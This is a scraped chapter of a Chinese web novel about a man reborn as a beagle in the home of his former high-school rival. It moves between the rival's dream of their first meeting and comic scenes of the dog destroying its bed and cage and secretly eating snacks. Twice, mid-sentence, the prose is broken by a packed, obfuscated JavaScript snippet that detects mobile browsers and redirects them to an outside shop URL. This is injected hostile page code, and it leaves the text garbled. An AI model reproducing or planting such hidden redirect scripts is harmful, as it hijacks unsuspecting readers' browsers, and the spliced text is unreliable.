他眉头紧皱,头脑混乱地盯着谢昭衡的背影,思绪发散开,莫名想起了他跟谢昭衡的初相识。 他们并不是天生的死对头,一上来就互相看不顺眼,最开始他对谢昭衡只是抱有好奇。 升入高中,经常听到身边的人谈起谢昭衡,他便也知道楼上有个高冷神秘的大帅哥。 同为高一新生,又是最受关注的两个人,他们经常被放在一起比较。 怀有中二病的青春时代,大家更偏爱冷酷神秘的类型,谢昭衡的人气比他更高。 顾昀格并不在意这些,更不会因此感到失落,但偏偏有傻|逼心胸狭隘,以己推人,觉得这件事能刺激到他,在他耳边翻来覆去地说。 他依旧不放在心上,把这人当作跳梁小丑,直到这傻|逼提起他刚刚遇难的父母。 “谢昭衡人虽低调,但大家都能看出来他家境特别好,不像某些人总是喜欢炫富,到处宣扬自己从小练琴,还天天穿名牌鞋。” “装逼炫富容易遭报应,你看现在没了爹妈,像个拖油瓶一样被踢来踢去,周末都只能待在学校里,真可怜呦。” “成绩好又能怎样,以谢昭衡的家境,他根本不用学习,长大之后继承公司,有的是名牌大学的学生争着给他打工。” “某人真是傻的好笑,大家客套一下,夸他长得帅,他还真当真了,现在遇到比他更帅的,尴尬了吧,谁不愿意跟谢昭衡做朋友,不像某些死了爹妈的,靠他太近都怕沾了晦气。” 顾昀格拳头立刻硬了。 他这人一向不记仇,最初只觉得这个傻逼眼熟,后来才想起这是他的初中同学,之前因为某些事跟他起过矛盾。 他一向不难为自己跟傻逼计较,可偏偏去世的父母是他最痛的伤疤和底线,他也不是圣人,能原谅所有的过错,他的心情和状态极度不好,直接出手揍了那个傻逼一顿。 场面闹得很难看,他们一起被班主任提溜进办公室,谢昭衡因为名字经常被提及,也被其他老师叫来了。 那是他跟谢昭衡第一次见面。 之后…… 顾昀格努力在脑海中搜刮相应的记忆片段,可仍然一片空白,只模糊记起谢昭衡留给他的第一印象,就像传言中的那般高冷又话少。 *** 夜色黑沉中,谢昭衡闭上了眼。 顾昀格去世后很少来他梦里,就像生前一样不待见他。 但这次他却在梦里见到了顾昀格,还是他们第一次见面时的场景。 暑气渐消,天气却更加闷热,空气像是一张湿答答的网,密不透风地罩在皮肤上,感觉不到半分清凉,心情也随之变得烦躁了。 他穿过长长的走廊,站在老师办公室外,透过玻璃,余光瞥见了一抹蓝色。 来自他们的校服,随处可见,他却莫名觉得这抹蓝色更加纯净剔透,让他得以在闷热中喘了口气,得到了些许清凉。 他推门走进去,得知了事情的原委。 这种事情他见多了,早已麻木,没有什么真切的实感,跟老师说了一声后便退出了办公室。 刚走出去没几步,他突然听见有人在背后叫他的名字,那抹蓝色更近了,大大咧咧地怼到了他面前。 “不好意思,连累你了。” “我跟老师解释了很多遍,这只是我跟他的矛盾,跟你没有关系,但那个傻逼为了推卸责任,硬把你拽了进来。” 想到刚才听的那些话,谢昭衡觉得费解:“你父母刚刚去世?” 对面安静了几秒,竭力强撑平静,但语气中透着悲伤,“是,在两个月前的暑假。” 谢昭衡更加不解了,“你不生气吗?” “生气啊,我都揍他了。” “那你为什么要来跟我道歉?” “啊?”声音中透着不解,“你是无辜的,被当枪使了,也是我处理得不好,当场发作闹得太大,才连累你被喊到了办公室。” 谢昭衡无法对此感同身受,但他十分了解人性。 人性有善有恶,在悲伤和痛苦时极易被恶的那面吞噬,哪怕知道对方是无辜的,但当这个名字始终刺激到心底那道发脓溃烂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457047|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口时,几乎会本能地迁怒,痛恨命运痛恨不公,痛恨只有自己深陷泥沼,而有人却过得幸福。 许是他的疑惑太过明显,又得到一句解释。 “我之前也遇到过这样的事,有人打着我的旗号去嘲讽别人,连累我也被针对怨恨了很久,对方甚至带头孤立我,仿佛都是我的错,我到现在都没等到一句道歉呢。” 谢昭衡听到了自己心底的声音:是啊,这样才正常。 人总要嫉妒怨恨些什么,这种情绪没法自然消解,只能发泄在其他人身上,循环重复下去,至于错误的源头是什么,根本不重要…… 但几乎与此同时,另一道声音响起,盖过了他的心声。 “所以啊,我来找你了。” “既然我知道其中的滋味不好受,怎么可能还让你同样承受这些。” …… 什么? 生平第一次,他听到了这样的答案,难以理解,忍不住望了过去。 一直以来,有个无形的壳子罩在他周围,世界不接纳他,他也无法跟这个世界产生联系,就像一个幽魂四处飘荡,没有归处,也无法留下痕迹。 这个壳子坚不可摧,他拼劲全力都无法打破,现在却因为一句话,自己裂开了一条缝。 那抹那抹纯净透彻的蓝色挤了进来。 像是水彩最浅淡的一笔,原本边缘晕染,模糊不清,现在却突然有了清晰的轮廓,明亮的眼睛以及弯起的嘴角。 “我叫顾昀格。”对方并没有因为他看得太久而感觉到冒犯,笑眯眯地张开掌心,“草莓糖,你吃吗?” 谢昭衡低头静静地看着手心里的那草莓糖,小小一颗,糖纸绚烂多彩,遮不住那浓烈的粉色。 他下意识伸出手,想去拿那颗草莓糖,但周遭突然剧烈晃动起来,世界仿佛也是糖纸制成的,只是轻轻一晃便脆弱得分崩离析,所有的颜色和事物都消散了,连带着草莓糖。 …… 谢昭衡猛然睁开眼睛,胸口上下剧烈地起伏,失速的心跳将他从梦境中拽回现实。 他的视线晃了两圈,这才终于落到了实处,感受着全身神经不自然的跳动,目光涣散地看着夜色掩映下的天花板。 顾昀格离开后,他买了整整一柜子的草莓糖。 每一颗的味道,他都记忆犹新。 甜滋滋,草莓味浓郁,但总感觉差了些什么,穷尽想象力也想象不到。 他至今都不知道那颗草莓糖的滋味。 也再不可能知道了。 *** 大四的课程少得可怜,但也不代表不用去学校了,谢昭衡难得要赶早八课程。 顾昀格清晨遛完狗回来后,美美地睡了个回笼觉,朦朦胧胧间感觉身上一轻,好像人抱了起来。 但他没能就此醒来,感觉到身下的柔软后,翻了个身继续睡,对谢昭衡的离开没有半分不舍。 放心去吧,比格大王会照顾好自己的。 看电视玩游戏开冰箱吃零食,哪个都不会错过。 穿成狗后,他被强制戒了几天网瘾,过起了百分百健康生活。 身体健康,虽然能活得更久,但实在没意思,让人不想活那么久,如今谢昭衡离开后,他终于能解放自我了,顾昀格在睡梦中异常兴奋,做了一个美梦,自己狂吃了十八袋薯片,用长长的嘴筒子打了个快板。 他忍不住吧唧了几下嘴,舔了舔嘴角,翻身站起来,准备把美梦变成现实,突然察觉到不对劲。 这是什么玩意,哪来蓝色的栅栏。 视野变得清晰,顾昀格震惊地瞪圆狗眼,左右环顾,整只狗都傻了。 谢昭衡这厮也太缺德了,怎么把他关进笼子了啊! 幻想中的美好生活长着翅膀飞走了,他气得在笼子里踱步。 笼子还算宽敞,还有提前准备好的食物、水和刚买的柔软狗窝,顾昀格没把这些放在眼里,怒气在身体里横冲直撞,撞碎了他的理智,让他被比格的本能所掌控,过了好一会儿才勉强冷静下来。 他记起谢昭衡昨天跟付谊时通话时说过,只有早八一节课,算起来还有一个小时,他就能回来了。 顾昀格蹲在最靠前的角落,眼睛眨也不眨地看着门。 时间一分一秒地过去,门开了,谢昭衡的身影出现在他面前。 顾昀格憋了一个早上的愤怒和委屈瞬间爆发,仰着脖子就开始控诉。 谢昭衡你是人吗! 我这么小就跟你了,你却把我关笼子!! 人心险恶,小比失望!!! 顾昀格站在道德制高点上,对谢昭衡进行了灵魂拷问,句句扎心,但谢昭衡这个狗界文盲,丝毫没听懂,更没察觉到他语气中的愤怒,视线转了两圈,定格在他旁边。 顾昀格更气了。 这个笼子里只有他,旁边有什么好看的……咦?! 刚买的狗窝不见了,取而代之的是一片白色的毛绒球,像是雪花一样盖满了半个笼子。 顾昀格对此一头雾水,完全没有自己拆狗窝的记忆。 既然没有,那就不可能是他做的,那就只剩下一种可能了。 汪的天! 狗窝竟然会自己爆炸,诬陷他! 7. 007 7 顾昀格觉得冤枉,委屈得直哼哼,在棉花上打滚,但滚了几圈,陌生的画面突然出现在他脑海中,他想起了一切。 之前他怒火冲天,燃尽了理智,过了一会儿不知为何冷静下来了,他还纳闷自己的情绪怎么变得如此稳定,原来是发泄在了狗窝上面。 本能接管身体后,就跟断片了一样,记忆空白,而他又太专注自己的感受,竟心大到忽略了外界的环境,以至于到现在才发现问题。 唔…… 顾昀格沉思了片刻,不想难为自己了,偷偷用后脚踹了踹离他最近的绒毛。 谢昭衡轻叹了一口气。 没关系,它知道错了就好。 他下意识看向比格大王。 比格大王蹲坐着,露出圆鼓鼓的肚子,全包眼线越发明显,黑得发亮,半耷拉着眼皮斜睨着他,眼睛变成了圆润的倒三角,整张小狗脸皱巴巴的,小小年纪就一脸苦大仇深,浑身还散发着邪恶的气息。 见他望过来,眼珠子滴溜溜的乱转,像是一秒有八百个坏心眼,想帮他重新装修 谢昭衡立刻被这股惊人的邪恶之气震住了,喉结滚动了一下,默默又补了一句。 应该吧。 他应该知道错了。 他自我催眠了一番,艰难地哄好了自己,对狗窝爆炸一事没有半点微词,沉默地走过来收拾残局。 顾昀格终于被放出了笼子,蹲在一旁跟谢昭衡对峙。 谢昭衡沉默几秒后,突然面无表情地伸出手。 顾昀格意识到他的目的后,整只狗傻在原地。 在他印象中,小狗犯错后都要挨打的,难道谢昭衡也要对他下手了吗?! 谢昭衡的手在眼睛中的倒影越来越大,近在咫尺,顾昀格还是没有躲,因为他想象不到谢昭衡打人时的画面,过了几秒,狗头上有轻微的触感。 谢昭衡收回手,修长的指尖夹着一撮棉花,依旧面无表情地看着他。 顾昀格心虚地移开了目光。 狗窝自己爆炸了,他离得那么近,自然会被波及,这才不是什么作案证据呢 谢昭衡没打算审问他,随手把棉花扔进了垃圾箱,又下单了一个新的狗窝。 这件事就算过去了,比格大王重新恢复开朗,但新买的狗窝放在房间的角落,时不时就会刺痛狗眼。 顾昀格忍了又忍,到了半夜才发作。 明早谢昭衡有两节课,如果不出意外的话,他又要被关笼子了。 比格永不被束缚! 尖尖的狗牙突然有些痒,他恶向胆边生,决定从根本上解决问题。 …… 天刚放亮,谢昭衡便睁开了眼。 他已经习惯了养狗日常。 早上必须遛狗,风雨无阻,还要溜满整整一个小时,差一分一秒比格大王都会化身倔驴,梗着脖子不想回家。 他立刻翻身下床,环顾四周却没有看到那抹邪恶的身影,心里突然有种不祥的预感。 孩子静悄悄,竟然在作妖。 谢昭衡迅速站起身,打开房门,大步走出去。 比格大王正蹲在客厅的毛毯上,坐得笔直,高高昂着头,保持着一副看似睿智却傻得冒泡的表情。 而他身后,刚买的狗笼已经大卸八块,横七竖八地倒在毛毯上,这就是比格大王奋斗一夜的成果。 谢昭衡沉默数秒,莫名从小比眼神中看出了某种威胁。 你如果再敢把我关笼子,也是这个下场。 如果不能解决问题,那就解决制造问题的人! “……” 临时买笼子也来不及了,谢昭衡只能试图跟比格大王讲道理。 “我就出去一上午,你在家里乖一点。” “不要拆家,我马上就回来了。” “狗窝是才买的,能不能多存活一天。” 顾昀格倔强地转过狗头。 又“你”来“你”去了,不叫大王,谁稀罕理你啊。 恶比自有人机磨,从出门遛狗到回家吃饭,谢昭衡一有时间,就会在比格大王耳边念叨这些,顾昀格实在受不了了,敷衍地哼哼了几声,就当答应了。 到了快上课的时间,谢昭衡终于出门了。 顾昀格很有作战经验,一直蹲在门口,耐心地等了五分钟,确定外面没有一点动静后,这才确认谢昭衡已经离开了。 他眼神发亮地转过身,看着空荡荡的房间,兴奋得眼睛冒光。 呜哈哈哈哈这都是大王辛苦打下的天下。 顾昀格迫不及待地跳上沙发,打开电视,用遥控器切换频道,终于找到了他想看的球赛。 他惊讶地发现两支队伍中还有一个是他的主队,兴奋得全身的血液都沸腾了,眼睛眨也不眨地看着屏幕,恨不得冲进去帮忙。 过了一会儿,他感觉嘴里有点空,忍不住吧唧了几下,想嚼点什么。 他立刻跳下沙发,悠闲地摇晃着尾巴,把谢昭衡藏在柜子最深处的零食翻了出来。 这些都是付谊时姜宇带来的,谢昭衡对此没兴趣,摆在那落灰,他作为一只善解人意的小狗,当然要在过期之前帮忙解决啦。 顾昀格不厌其烦地将薯片饼干一袋一袋地搬上沙发,一边看球赛,一边吃零食。 他特意挑了一个沙发缝,用饱满的屁股反复辗转,终于得到了一个符合狗体工程力学的凹槽。 背靠着沙发,身体深陷在凹槽中,不仅舒服还能稳住身形,四只爪爪朝天,用宽阔的胸膛顶着薯片袋。 这样一来,他只需要微微低头,长长的嘴筒子就能准确地钻进敞开的包装袋里,大快朵颐,还不会弄脏爪爪。 他两三口就吃完了一包薯片,异常满足,但又感觉有些嘴感。 这种情景下,最适合配啤酒,顾昀格刚抬起爪子却犹豫了一下。 狗喝啤酒大概会死吧,为了保住小命,他只能退而求其次,挑了一瓶茉莉花茶。 吧唧吧唧好喝好清新。 比格大王把自己照顾得很好,但他的主队却不争气,丝毫不照顾球迷的心情。 顾昀格看得双目无神,身体紧绷,痛骂完队友再痛骂教练,戴上了一副痛苦面具。 他好不容易看一场球赛,就得了这样一个结果,顾昀格郁闷至极,在沙发上打了个滚,试图发泄出心中郁积的怒火。 挑选主队也是世界上最值得慎重对待的事情之一,一旦挑到了窝囊的,受了一肚子气,还没办法脱粉换队,只能郁闷地熬下去,一边骂骂咧咧一边辱追,感觉自己的脸面跟主队一起被扔在地上碾压。 我要脱粉,到下一场比赛前! 他蹭乱了一身毛发,这才冷静下来,打算准备打局游戏,放松一下。 他跑进顾昀格的书房,还卯足了劲跳上桌子,不费吹灰之力就打开了电脑,在桌面上认真浏览,想知道谢昭衡平时玩什么,却没发现任何一个游戏。 “……”好无趣的人机。 现在下载来不及了,顾昀格只能随机挑选了一个小游戏,准备用键盘操作游戏人物。 狗虽然没有双手,但比人多了两个爪子的优势,顾昀格直接站在了键盘上,努力控制四肢,爪爪一顿折腾后信心十足地看向屏幕。 他本以为自己能顺利闯关,但游戏人物在他的操纵之下,诡异地蠕动着,好不容易往前挪了几步,却是阴暗地爬行。 顾昀格不死心,折腾了好一通,又累又热,舌头都快垂到地上了,游戏人物只是艰难地前进了三步。 他彻底破防了,怒火烧尽了他的理智,比格大王的行动能力强得惊人,直接打开官网,在下面留言。 【@¥&*:设计师,多考虑一下狗狗的用户体验吧!你的键盘,真的很难四爪操作!!】 狗爪子打字非常艰难,几乎是一个字一个字往外蹦,一句话打完用了整整五分钟。 顾昀格满意地看着屏幕,等待官方给予的回答。 官方的反应异常缓慢,但有用户在下面评论了。 【幽你一默:我猜兄弟被自己的队友菜哭了,阴阳他们是狗。】 【设计师:这波团我可不接。】 顾昀格;“……” 笑什么,也是有狗用键盘这种可能性的! 比格大王跟人类没有共同话题,顾昀格关上电脑,把一切恢复原状,假装他从来没有玩过。 时间的流速从来没有这么快过,他看了一眼时间,发现离谢昭衡回家只剩半个小时了,立刻神经紧绷,一丝不苟地收拾客厅的作案现场。 他关上电视后对着主机吹了两下,试图加速散热,又跳上沙发,两只爪子一前一后,抚平了褶皱。 做完一切后他仔细审查了几遍,确定没发现一点问题,刚要松口气,转头看到垃圾桶里的零食袋,狗躯一震如遭雷劈。 坏了,忘了销毁证据。 最万无一失的方法是把这些垃圾扔出去,但他又不能出门,只能退而求其次,找一个安全的角落藏起来。 顾昀格在房间里转了一圈,仍没有找到合适的地方,随着时间逼近,他紧张得神经猛然短路了,叼着包装袋,一头钻进了谢昭衡的卧室,用长长的嘴筒子,捣进了床下。 完成后他才猛然意识到自己做了什么,又慌乱起来。 比格的建模不行啊,被本能操控后经常做出蠢事。 这太明目张胆了,竟藏在谢昭衡眼皮子下,很容易被发现,但时间已经来不及了,他只能安慰自己“灯下黑”也许就是最安全的地方。 他下意识焦虑地围绕着床转了几圈,意外发现这真可行。 谢昭衡担心比格大王钻床底,特意调整了床的高度,只允许一只手伸进去,无论是坐着还是站着的角度,都绝不可能发现藏在床底下的包装袋,除非趴下去,但谢昭衡怎么会无缘无故地这样做呢。 顾昀格松了一口气,不再挂念这件事,在谢昭衡打开门的前一秒,紧急跑到门口迎接他,装乖宝宝。 谢昭衡进门后跟比格大王四目相对,比格大王蹲坐得十分端正,表情纯良无辜,连全包眼线都仿佛变淡了一些。 谢昭衡顿了顿,视线落在身后不断摇动的尾巴上。 在此之前,他们两个相处模式只有两种,比格大王趴在沙发上,见他回来了,不耐烦地撩起眼皮瞅他一眼;或者一顿狂叫狂扑,抗议抱怨,把闯祸的过错都赖在他身上。 这还是比格大王第一次蹲在门口等他回来,还热情地摇尾巴。 事出反常必有妖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457048|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢昭衡思忖几秒,眼神都变了,生怕要面对一个需要重新装修的家,快步往里走,仔细巡视每一个房间,但都没有发现问题。 他顿了顿,转头看着比格大王,顾昀格立刻藏住心虚,对他眨了眨水汪汪的眼睛。 谢昭衡仍然不信比格大王独自在家没有闯祸,但实在找不到证据,只能就此放弃了。 …… 夜色渐深,谢昭衡躺在床上,虽然还有睡眠障碍,但想到明天要早起遛狗,尽量压制住情绪,让自己入眠。 他闭上眼睛,眉头舒展开呼吸,变得平缓,仿佛快要睡着时,鼻子突然轻微地抽动了一下。 他睁开眼,平静地看着夜色掩映下的天花板。 他许是病得更重了,都出现了幻觉。 躺在床上,他竟然闻到了番茄味薯片黄瓜味薯片烤肉味薯片蔓越莓曲奇和茉莉花茶的味道。 …… 既然已经决定留下比格大王,谢昭衡便打算做个合格的忍人,他专门查过资料,发觉比格大王之前拆笼子的行为,代表着他精力旺盛,需要发泄。 上完两天的课程后,谢昭衡立刻带比格大王出门。 在此之前他们都只是在小区里遛弯,谢昭衡怕他玩得不尽兴,特意牵着他到了河边。 顾昀格兴奋的眼神都亮了,肌肉紧绷发热,身上的汗仿佛都蒸腾成了热气。 跟比格大王的精力充沛不同,谢昭衡站在一边,常年毫无表情的冰山脸隐隐透出一抹迷茫和怀疑人生。 他牵的真是狗吗。 绷紧的狗绳和巨大的拉力,让他恍惚间觉得自己牵的是一头倔驴,有的是力气,但没有半点智商。 他被迫跟着七拐八拐地走在路上,看着不远处的灌木丛中,突然有种不祥的感觉。 以他对比格这个品种的了解,说不定会钻进去偷偷吃屎。 只是想了想那画面,谢昭衡立刻神经紧绷,风声鹤唳,每次比格大王靠近灌木丛,他都眼睛眨也不眨地看着。 还好比格大王只是对标记感兴趣,偶尔被气味吸引,他不知疲倦地跑了一个小时,兴头正浓,刚要再跑一轮,突然发现绳子被人拽紧了。 谢昭衡有些狼狈地站在路边,头也不回地朝卖烤肠的摊贩走去。 胃是情绪的器官,他之前对什么都提不起兴趣,什么都不想做,能量的消耗被压低到了极点,各种因素交织在一起,他很久没有饥饿的感觉了,进食只是在维持生命的延续。 这是他最近这段时间第一次感觉到饥饿,饿得心慌,前胸贴着后背。 不管现在摆在面前的是什么,谢昭衡都会吃,立刻买了三根烤肠。 比格大王蹲坐在一旁,一副拿他没办法的无奈表情。 谢昭衡今年才五六岁吗,看见小摊贩就走不动道。 他刚在心里吐槽了一句,就被烤肠的香味儿攥住了心神,眼神都发直了,鼻子左右抽动,不断地向前挪,一股魂牵梦萦的陶醉表情。 他靠得越来越近,整只狗几乎贴在了单车上,口水泛滥成灾。 谢昭衡假装没有看见,直接从摊贩手里拿过三根烤肠。 顾昀格立刻转移目标,跑到谢昭衡面前,努力保持着矜持端庄的姿态,但身后的尾巴已经摇成了螺旋桨。 谢昭衡拿着其中一根,看看烤肠又看看比格大王,在比格大王拼命暗示下,将烤肠送到嘴边,自己咬了一大口。 顾昀格:“……” werwerwerwer! 比格大王威慑的是目光化为了实质,如刀锋般锋利,谢昭衡还算有点自觉,自己吃完一根后,立刻蹲下身把烤肠送到小比嘴边。 “凉一凉再吃。” 狗吃饭都是狼吞虎咽,嚼都不嚼直接往下咽,顾昀格也有这样的本能,他之前有被烫到过,吸取教训,努力控制自己。 等烤肠凉了,他迫不及待地咬了一口。 谢昭衡一直半蹲在旁边,帮他拿着烤肠。 摊主还是第一次见人这么伺候狗,搭话道:“放在地上不行吗,难道你要一直这样帮它举着?” 谢昭衡摇了摇头,“它有洁癖,放在地上,一律不吃。” 摊主被噎住,说不出其他话来。 一人一狗干掉了五根烤肠,恢复体力后又转了半个小时,顾昀格这才依依不舍地牵着谢昭衡回家。 他们刚走到小区,就迎面撞上了雪纳瑞。 这是他认识的第一只狗朋友,顾昀格立刻热情地跑过去打招呼,雪纳瑞的耳朵高高立起,跑到一半却突然停了下来,尾巴摇动的幅度也越来越小。 顾昀格顿了顿不解地问道:“怎么了,你见到我不高兴吗?” 雪纳瑞委屈地扭了扭身子,幽怨地看着他,“你不跟我打招呼,你不把我当朋友。” 顾昀格愣了愣,不明所以地说道:“我没打吗,那我补上。” 雪纳瑞星星眼。 顾昀格:“你好。” 雪纳瑞继续星星眼。 顾昀格:“你好你好。” 雪纳瑞往前凑了凑,不断地扭屁股,用动作暗示他:“是这个。” 顾昀格突然懂了,不可置信地瞪大了眼睛。 打招呼是让他去闻雪纳瑞的屁股吗?!!